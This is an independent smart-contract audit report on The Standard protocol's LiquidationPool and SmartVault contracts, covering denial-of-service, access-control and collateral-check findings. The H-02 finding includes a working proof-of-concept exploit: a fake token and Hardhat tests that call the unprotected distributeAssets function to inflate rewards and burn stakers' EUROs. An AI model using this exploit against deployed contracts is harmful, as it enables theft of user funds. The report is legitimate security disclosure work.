The Standard Audit Report

Version 1.0

Shikhar Agarwal

March 2, 2024

The Standard Audit Report

Shikhar Agarwal

March 2, 2024

Prepared by: Shikhar Agarwal

Lead Auditors: - Shikhar Agarwal

Table of Contents

About the Project

Secure your crypto assets, such as ETH, WBTC, ARB, LINK, & PAXG tokenized gold, in smart contracts that you control and no one else, then effortlessly borrow stablecoins with 0% interest loans and no time limit to pay back.

See more contest details here

Disclaimer

As the sole auditor all efforts have been made to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

```
Commit Hash: 91132936cb09ef9bf82f38ab1106346e2ad60f91
```

Scope

- [SmartVaultV3]
- [SmartVaultManagerV5]
- [LiquidationPool]
- [LiquidationPoolManager]

Roles

- **Borrowers**: users creating Smart Vaults, depositing their collateral, borrowing EUROs stablecoins against it

- **Smart Vault Manager**: contract managing vault deployments, controls admin data which dictates behaviour of Smart Vaults e.g. fee rates, collateral rates, dependency addresses, managed by The Standard
- **Stakers**: users adding TST and/or EUROs to the Liquidation Pool, in order to gain rewards from borrowing fees and vault liquidations
- **Liquidation Pool Manager**: contract managing liquidations and distribution of borrowing fees in the pool

Issues found

Severity	Count of Findings
High	2
Medium	2
Low	1

Findings

-
  #### High Risk Findings

  -
    ##### H-01. Multiple instances of DoS in `LiquidationPool` due to gaslimit exceeds preventing liquidation of vaults as well as preventing usage of functions of `LiquidationPool`

  -
    ##### H-02. Missing access control in `LiquidationPool::distributeAssets` leads to mismanagement of rewards and burning of user's EUROs for fake asset tokens.

-

Medium Risk Findings

- **M-01. Incorrect implementation of `SmartVaultV3::canRemoveCollateral` prevents user from withdrawing the collateral even if the vault will remain fully collateralized after withdrawal**

- **M-02. Users participating in staking can get removed unintentionally from the `holders` array even if they still hold stake inside the `LiquidationPool` contract thus can't receive their rewards.**

- **Low Risk Findings**

  - **L-01. The version inside SmartVaultV3 is not updated and it is still 2**

High

High Risk Findings

H-01. Multiple instances of DoS in `LiquidationPool` due to gaslimit exceeds preventing liquidation of vaults as well as preventing usage of functions of `LiquidationPool`

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L119

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L211

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L182

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPoolManager.sol#L59

Summary

There are multiple functions inside the `LiquidationPool` which have a linear time complexity and depends on the traversal of `holders` and `pendingStakes` array, as more and more new holders join the protocol the length of `holders` array will increase, and thus as the input grows the time taken also grows leading to usage of more and more gas, but as there is a gaslimit which ensures that if gas used by a function call exceeds then it will get reverted with out of gas error and will not be executed.

As a result of which as the `holders` array size increases the gas usage will also increase of certain functions like `getTstTotal`, `getStakeTotal`, `deleteHolder`, `addUniqueHolder`, `distributeFees`, `distributeAssets` as they all depends on the size of `holders` and `pendingStakes` array and if the size of the array reaches to a point where the gas usage exceeds the limit then all these function will suffer from DoS and will also cause more other functions like `LiquidationPoolManager::runLiquidation` to also suffer from DoS and a user can never be liquidated.

Vulnerability Details

The vulnerability lies inside the whole `LiquidationPool` contract where the functions depends on the traversal of `holders` and `pendingStakes` array as the protocol attracts more new holders, the `holders` array size will increase and the gas usage by the functions mentioned above also increases.

Thus leading to gas usage exceeding the limit set on function calls and the major portion of `LiquidationPool` contract will suffer from DoS and will make all the functions of other contracts like `LiquidationPoolManager` to also suffer from DoS and as the `runLiquidation` function also depends on that portion of `LiquidationPool` thus leading to a scenario which will prevent the undercollateralized vault from getting liquidated.

Impact

- Undercollateralized vault can never be liquidated, leading to severe loss for protocol.
- Major functionalities of `LiquidationPool` will suffer from DoS.

Tools Used

Manual Review

Recommendations

As the `LiquidationPool` is designed in such a way that its major functionalities depends on the `holders` array, so to prevent DoS due to gas limits, there should be a limit on the holders participating in the protocol. ## H-02. Missing access control in `LiquidationPool::distributeAssets` leads to mismanagement of rewards and burning of user's EUROs for fake asset tokens.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L205

Summary

The function `LiquidationPool::distributeAssets` is assigned to distribute liquidated assets from a user's undercollateralized vault and is expected to be called by `LiquidationPoolManager` when a vault is liquidated with all the tokens that are accepted tokens as collateral. But this function lags proper access control, resulting in unauthorized calling of the function with tokens that are not even accepted by the protocol thus leading to a huge loss of stakers position.

Vulnerability Details

The vulnerability lies inside the `LiquidationPool` contract at line 205 in the `distributeAssets` function due to mishandling of necessary access control checks as well as accepted tokens check.

The `distributeAssets` function is expected to be called from `LiquidationPoolManager` when a user's vault is liquidated which takes in `_assets`, `collateralRate` and `_hundredPC`, but due to missing access control checks it can be invoked by an attacker with fake tokens which can lead to burning of the whole amount of EUROs from all the stakers of the protocol. Thus, giving attacker the whole amount of EUROs that was staked in the protocol.

Along with that, if only NATIVE token (eth) is passed inside the `_asset` array parameter without actually paying the eth while calling the function will lead to mismanagement of the rewards mapping as the staker's reward will be increased but eth was not sent inside the `LiquidationPool` contract thus with this vulnerability attacker can drain the assets.

As well as if they pass a token with address(0) and with symbol of any of the accepted token then due to its address as adress(0) the protocol will consider it as a native token and will keep on increasing the user's rewards without actually increasing the `LiquidationPool's` corresponding balance of that token inside it. Thus, potentially `type(uint256).max` value can be supplied with that asset along with an address for chainlink address field which returns very cheaper value and it will make staker's rewards reach to very high value and the value of an individual's rewards can potentially exceed the actual asset balance of LiquidationPool. As a result of which LiquidationPool asset balance can be potentially drained by an attacker.

Thus an attacker can create deficiency of tokens inside the `LiquidationPool` as the rewards of user's were increased but the corresponding balance of the LiquidationPool was not increased for that token thus creating mismanagement of rewards.

Impact

Attacker can potentially: 1. Drain the EUROs position of all stakers. 2. Create a deficiency of tokens inside the `LiquidationPool` as the reward was updated but corresponding balance was not increased for that token. Thus the attacker can prevent other users from redeeming their rewards and even cause drain of all collateral asset balance of LiquidationPool.

PoC

Setup for the test:

Create a fake token contract: `FraudBTCToken.sol`

Create a new folder name it `attackToken` inside `contracts` and create the solidity file: `FraudBTCToken.sol` with the following contract

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract FraudBTCToken is ERC20 {
    uint8 private dec;

    constructor(string memory _name, string memory _symbol, uint8
        _decimals) ERC20(_name, _symbol) {
        dec = _decimals;
    }

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }

    function transferFrom(address from, address to, uint256 amount)
        public override returns (bool) {
        return true;
    }

    function decimals() public view override returns (uint8) {
        return dec;
    }
}
```

Add the test in the file: `test/liquidationPool.js`

Run both the tests by:

```
yarn hardhat test test/liquidationPool --grep "Missing Access Control on Distribute Assets"
```

```
describe("Missing Access Control on Distribute Assets", () => {
  it("Missing access control on Distribute Assets causes reward manipulation", async () => {
    // User have both euros and tst
    const initTokenAmount = ethers.utils.parseEther("10000")

    await TST.mint(user1.address, initTokenAmount)
    await EUROs.mint(user1.address, initTokenAmount)

    await TST.connect(user1).approve(LiquidationPool.address, initTokenAmount)
    await EUROs.connect(user1).approve(LiquidationPool.address, initTokenAmount)

    await LiquidationPool.connect(user1).increasePosition(initTokenAmount, initTokenAmount)

    fastForward(DAY)

    const EthUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('ETH/USD'); // $1900
    await EthUsd.setPrice("160000000000");


    const initLiquidationPoolEthBalance = await ethers.provider.getBalance(LiquidationPool.address)

    const nativeToken = {
      token: {
        symbol: ethers.utils.formatBytes32String('ETH'),
        addr: "0x0000000000000000000000000000000000000000",
        dec: "18",
        clAddr: EthUsd.address,
        clDec: "8"
      },
      amount: ethers.utils.parseEther("0.5")
    }

    const attacker = (await ethers.getSigners())[8]

    // attacker calls it with native eth, but without actually sending the native eth
    await LiquidationPool.connect(attacker).distributeAssets([nativeToken], "100000", "100000")

    const finalLiquidationPoolEthBalance = await ethers.provider.getBalance(LiquidationPool.address)
    const { _rewards } = await LiquidationPool.position(user1.address)
    let ethRewardAmt = 0
    for (let i in _rewards) {
      const currReward = _rewards[i]
      if (currReward.symbol == ethers.utils.formatBytes32String('ETH')) {
        ethRewardAmt = currReward.amount
        break
      }
    }

    // now the reward of user1 increases but the Liquidation Pool eth balance is still same
    expect(ethRewardAmt).greaterThan(0)
    expect(finalLiquidationPoolEthBalance).to.equal(initLiquidationPoolEthBalance)
  })

  it("Causes burning of their EUROs token with exchange with some fraud tokens", async () => {
    const initTokenAmount = ethers.utils.parseEther("100")

    await TST.mint(user1.address, initTokenAmount)
    await EUROs.mint(user1.address, initTokenAmount)
    await EUROs.mint(user2.address, initTokenAmount)

    await TST.connect(user1).approve(LiquidationPool.address, initTokenAmount)
    await EUROs.connect(user1).approve(LiquidationPool.address, initTokenAmount)

    await LiquidationPool.connect(user1).increasePosition(initTokenAmount, initTokenAmount)

    fastForward(DAY)

    // user2 increases their position
    // this is done in order to consolidate the user1's stake and to do some assert equal
    await EUROs.connect(user2).approve(LiquidationPool.address, initTokenAmount)
    await LiquidationPool.connect(user2).increasePosition(0, initTokenAmount)

    const initPosition = await LiquidationPool.position(user1.address)
    expect(initPosition._position.EUROs).to.equal(initTokenAmount)

    const attacker = (await ethers.getSigners())[8]

    // attacker creates a fake WBTC token
    // the transferFrom function inside this fraud token contract is made to just return true
    const fbt = await (await ethers.getContractFactory("FraudBTCToken")).deploy('Fraud BTC Token', 'FBT', 18)

    // price feeds for fbt token
    const WbtcUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('WBTC/USD'); // $35,000
    await WbtcUsd.setPrice("3500000000000");

    const fbtAmount = ethers.utils.parseEther("100")

    const fraudToken = {
      token: {
        symbol: ethers.utils.formatBytes32String('FBT'),
        addr: fbt.address,
        dec: "18",
        clAddr: WbtcUsd.address,
        clDec: "8"
      },
      amount: fbtAmount
    }

    // attacker calls it with fbt token which is a fake token and burns holder's EUROs amount
    await LiquidationPool.connect(attacker).distributeAssets([fraudToken], "100000", "100000")

    const finalPosition = await LiquidationPool.position(user1.address)
    expect(finalPosition._position.EUROs).to.equal(0)
  })
})
```

Tools Used

Manual Review

Recommendations

Add the necesary access control on the `LiquidationPool::distributeAssets` function for only the LiquidationPoolManager can invoke it.

Medium

M-01. Incorrect implementation of `SmartVaultV3::canRemoveCollateral` prevents user from withdrawing the collateral even if the vault will remain fully collateralized after withdrawal

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L127

Summary

In the `SmartVaultV3` contract the condition for fully collateralized vault is that the current minted amount should be less than or equal to the max mintable amount on the basis of the collateral deposited by user. But due to incorrect implementation of `SmartVaultV3::canRemoveCollateral` function this will affect the removal of collateral and will prevent user from withdrawing their collateral even if the vault remains fully collateralized after removal of collateral, thus affecting the functioning of `removeCollateralNative`, `removeCollateral` and `removeAsset`.

Vulnerability Details

The vulnerability arose due to the incorrect implementation of `SmartVaultV3::canRemoveCollateral` function which returns false even if the vault will remain fully collateralized after removal of the desired collateral by user.

```
function canRemoveCollateral(ITokenManager.Token memory _token, uint256
     _amount) private view returns (bool) {
    if (minted == 0) return true;
    uint256 currentMintable = maxMintable();
    uint256 eurValueToRemove = calculator.tokenToEurAvg(_token, _amount
        );
@>  return currentMintable >= eurValueToRemove &&
        minted <= currentMintable - eurValueToRemove;
}
```

Here the implementation for deciding whether the collateral can be removed or not is incorrect. It checks that the minted amount should be less than (currentMintable - eurValueToRemove). It checks by subtracting `eurValueToRemove` from `currentMintable`, where `currentMintable` is the max amount of euros a user can mint. But it is irrelevant to subtract the `eurValueToRemove` from max euros a user can mint as it is not their euro collateral balance.

The correct implementation should be that, the minted amount to be less than `(euroCollateral - euroValueToRemove)* HUNDRED_PC / COLLATERAL_RATE`

Impact

- User can't remove their collateral even if the vault is fully collateralized as the `eurValueToRemove` is subtracted from `maxMintable` but their actual balance is `euroCollateral`.
- Thus leading to locking of their collateral tokens inside `SmartVaultV3`

PoC

Add the test in the file: `test/smartVaultManager.js`

Run the test:

```
yarn hardhat test test/smartVaultManager.js --grep "User can't remove
    their collateral even if after removing it the vault is fully
    collateralized"
```

```
describe("Vault Opening, Depositing Collateral, Minting EUROs,
    Withdrawing Collateral", () => {
  it("User can't remove their collateral even if after removing it the
      vault is fully collateralized", async () => {
    // collateral rate 120%
    // means for minting 100 EUROs token, collateral should be
        equivalent to atleast 120 euros
    // euro to usd - $1.06

    // mint fee rate - 0.5%
    // collateral - eth
    // eth to usd - $1600

    // lets deposit 120 euros eq of eth
    // eth collateral required = (120 * 1.06) / 1600 = 0.0795

    const ethCollateralAmount = ethers.utils.parseEther("0.0795")

    // first open a vault
    await VaultManager.connect(user).mint()
    let tokenId, status
    let vaultAddress

    ({ tokenId, status } = (await VaultManager.connect(user).vaults())
       [0]);
    ({ vaultAddress } = status);
    const vault = await ethers.getContractAt("SmartVaultV3",
       vaultAddress)


    // for 20 euros mint
    // fee on 20 euros = 0.5% of 20 = 0.1 euros
    // therefore total collateral req for 20.1 euros = 24.12
    // total eth req = (24.12 * 1.06) / 1600 = 0.0159795
    await user.sendTransaction({ to: vaultAddress, value:
       ethCollateralAmount })

    const eurosMintAmount = ethers.utils.parseEther("20")
    await vault.connect(user).mint(user.address, eurosMintAmount)

    // now the total minted amount = 20.1 euros  (0.1 is minted for fee
        rates)
    // as the total eth collateral req for fully collateralization is
       0.0159795,
    // the user should be able to withdraw the remaining eth
    // i.e., (0.0795 - 0.0159795) = 0.0635205

    // the user should be able to remove this collateral eth amount
    // but due to implementation issue for collateral checks, user can'
       t remove their collateral
    // even though the vault is fully collateralized after removing
       that amount of collateral
    const removeCollateralEthAmount = ethers.utils.parseEther("
       0.0635205")
    await expect(vault.connect(user).removeCollateralNative(
       removeCollateralEthAmount, user.address)).to.be.revertedWith("
       err-under-coll")
  })
})
```

Tools Used

Manual Review

Recommendations

Correct the implementation of `canRemoveCollateral` as below:

```
function canRemoveCollateral(ITokenManager.Token memory _token, uint256
    _amount) private view returns (bool) {
    if (minted == 0) return true;
-   uint256 currentMintable = maxMintable();
    uint256 eurValueToRemove = calculator.tokenToEurAvg(_token, _amount
       );
+   uint256 remainingCollateral = euroCollateral() - eurValueToRemove;
+   uint256 mintableAfterRemovingCollateral = remainingCollateral *
   ISmartVaultManagerV3(manager).HUNDRED_PC() / ISmartVaultManagerV3(
   manager).collateralRate();
+   return minted <= mintableAfterRemovingCollateral;
-   return currentMintable >= eurValueToRemove &&
-       minted <= currentMintable - eurValueToRemove;
}
```

M-02. Users participating in staking can get removed unintentionally from the `holders` array even if they still hold stake inside the `LiquidationPool` contract thus can't receive their rewards.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L161

Summary

The user's can get removed unintentionally from the `holders` array and will not receive their rewards generated from liquidation or from interest gained on their staked TST token. If the user has staked their tokens inside LiquidationPool must be present in the `holders` array, but due to a mishandling inside the `LiquidationPool::decreasePosition` function, a user can get removed from the mentioned array.

Vulnerability Details

The vulnerability lies inside the `LiquidationPool` contract inside the `decreasePosition` function at line 161, where the user is removed from `holders` array when their position of both token is 0. But consider the case where no doubt the user's position of both token became 0, but they still have position inside the `pendingStakes` and when their position is consolidated they are not added inside the `holders` array leading to isolating the stakers from earning rewards and EUROs gain on their staked TST.

Impact

Stakers will not be able to receive rewards and EUROs gain based on their staked TST as they were unintentionally removed from the `holders` array. The likelihood of this happening is kind of medium as it may happen that user first staked some amount of EUROs and after 24 hrs they staked TST and removed their EUROs, but when they removed whole of their EUROs they are removed from the `holders` array but still they have position inside the `pendingStake` and again after 24 hrs when their TST will be consolidated they are not added to the `holders` array.

PoC

Add the below test inside `test/liquidationPool.js`

Run the test:

```
yarn hardhat test test/liquidationPool.js --grep "holders get deleted
    from holder array even though they have stake"
```

```
describe("Increasing & Decreasing Position", () => {
  it("holders get deleted from holder array even though they have stake
     ", async() => {
    const euroAmount = ethers.utils.parseEther("1000")
    await EUROs.mint(user1.address, euroAmount.mul(2))

    // user1 approves pool for euros
    await EUROs.connect(user1).approve(LiquidationPool.address,
        euroAmount)

    // user1 increases their euro position in the pool
    await LiquidationPool.connect(user1).increasePosition(0, euroAmount
        )


    // then after 24 hrs they again increase their euros position
    fastForward(DAY)

    await EUROs.connect(user1).approve(LiquidationPool.address,
        euroAmount)
    await LiquidationPool.connect(user1).increasePosition(0, euroAmount
        )

    let holderAtZeroIdx = await LiquidationPool.holders(0)
    expect(user1.address).to.equal(holderAtZeroIdx)

    fastForward(DAY)

    // And after 24hrs user again removes the euro amount
    await LiquidationPool.connect(user1).decreasePosition(0, euroAmount
        )


    // It is now expected that the user must have holding of euros
    // equal to `euroAmount` and also their address should be present
        in holder array

    const { _position } = await LiquidationPool.position(user1.address)

    expect(_position.EUROs).to.equal(euroAmount)
    await expect(LiquidationPool.holders(0)).to.be.reverted
  })
})
```

Tools Used

Manual Review

Recommendations

1 Before deleting the user inside the `decreasePosition` function, consider checking if they have pending stake inside the `pendingStakes` array and if they have pending stake then don't delete them from `holders` array.

Alternatively, 2 Add the user by calling the `addUniqueHolder` function when a user's pending stake is consolidated.

Low

L-01. The version inside SmartVaultV3 is not updated and it is still 2

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L19

Summary

The version of SmartVaultV3 is 3 but the `version` variable is set to 2.

Vulnerability Details

The vulnerability lies inside the SmartVaultV3 contract where the version is not updated and is set to 2 but instead it should be 3.

Impact

When `SmartVaultV3::status` function is called then it will return the wrong version of the Smart-Vault.

Tools Used

Manual Review

Recommendations

Set the version to 3